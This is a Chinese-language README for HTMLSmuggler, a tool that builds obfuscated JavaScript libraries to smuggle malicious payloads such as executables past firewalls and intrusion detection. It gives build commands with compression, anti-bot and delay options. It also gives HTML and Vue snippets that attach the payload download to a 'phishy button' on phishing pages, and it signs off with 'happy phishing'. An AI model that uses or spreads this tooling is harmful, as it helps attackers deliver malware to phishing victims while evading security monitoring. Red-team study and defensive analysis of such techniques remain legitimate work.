HTMLSmuggler - 用于绕过IDS并通过HTML走私传递有效载荷的JS载荷生成器。
关于什么是HTML走私的完整解释可以在这里找到。
HTML走私的主要目标是通过将恶意载荷(例如可执行文件/压缩包等)伪装成看似无害的HTML和JavaScript代码,来绕过网络安全控制,如防火墙和入侵检测系统。通过利用Web应用的动态特性,攻击者可以将恶意内容传递到用户的浏览器,而不会触发安全警报或被传统安全机制检测到。得益于这种技术,恶意文件的下载在现代IDS解决方案中不会以任何方式显示出来。
HTMLSmuggler工具的主要目标是创建一个独立的JavaScript库,其中嵌入用户定义的恶意载荷。这个库可以集成到你的钓鱼网站/邮件HTML附件等中,以将嵌入的载荷传递到目标用户系统(绕过IDS和IPS系统)。创建的JavaScript库示例可在这里找到。
安装yarn 包管理器。
安装依赖:
yarn
阅读帮助信息。
yarn build -h
Options:
-p, --payload <string> Path to payload file you want to smuggle
-n, --name <string> Name of file, that would be downloaded
-t, --type <string> Contet-Type of downlonaded file (default: "application/octet-stream")
-f, --function <string> Name of exported function (default: "download")
-c, --compress Enable payload compression (gzip)
-d, --delay <number> Delay before antibot and download in ms (default: 0)
-a, --antibot Enable bot detection and block them (recommended)
-h, --help display help for command
(可选) 修改obfuscator.js中的javascript-obfuscator选项,我的预设配置不错,但非常慢。
编译你的JavaScript载荷:
⚠️ 避免使用大于3 MiB的载荷(参见FAQ)
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a -d 3000
从dist/payload.esm.js或dist/payload.umd.js获取你的载荷。之后,它可以插入到你的页面中,并通过download()(或通过-f标志自定义指定的函数)调用。
payload.esm.js用于import { download } from 'payload.esm';导入(ECMAScript标准)。
payload.umd.js用于HTML脚本SRC和require('payload.umd');导入(CommonJS、AMD及纯HTML)。
完整示例可在这里找到。
完成准备步骤。
将创建的脚本导入到HTML文件中(或直接内联插入):
<head>
<script src="payload.umd.js"></script>
</head>
从body中调用download()函数:
<body>
<button onclick="download()">Some phishy button</button>
</body>
快乐钓鱼 :)
完整示例可在这里找到。
完成准备步骤。
将创建的脚本导入到Vue文件中:
<script>
import { download } from './payload.esm';
</script>
调用download()函数:
<template>
<button @click="download()">Some phishy button</button>
</template>
快乐钓鱼 :)
问:我遇到错误RangeError: Maximum call stack size exceeded,如何解决?
答:这个问题在此描述。要修复它,请尝试在obfuscator.js中禁用splitStrings,或者使用更小的载荷(由于此问题,建议使用不超过2 MB的载荷)。
问:为什么我的载荷构建时间这么长?
答:你使用的载荷越大,创建JS文件所需的时间就越长。为了减少构建时间,请尝试在obfuscator.js中禁用splitStrings。下表为使用默认obfuscator.js时的预估构建时间。
| 载荷大小 | 构建时间 |
|---|---|
| 525 KB | 53 秒 |
| 1.25 MB | 8 分钟 |
| 3.59 MB | 25 分钟 |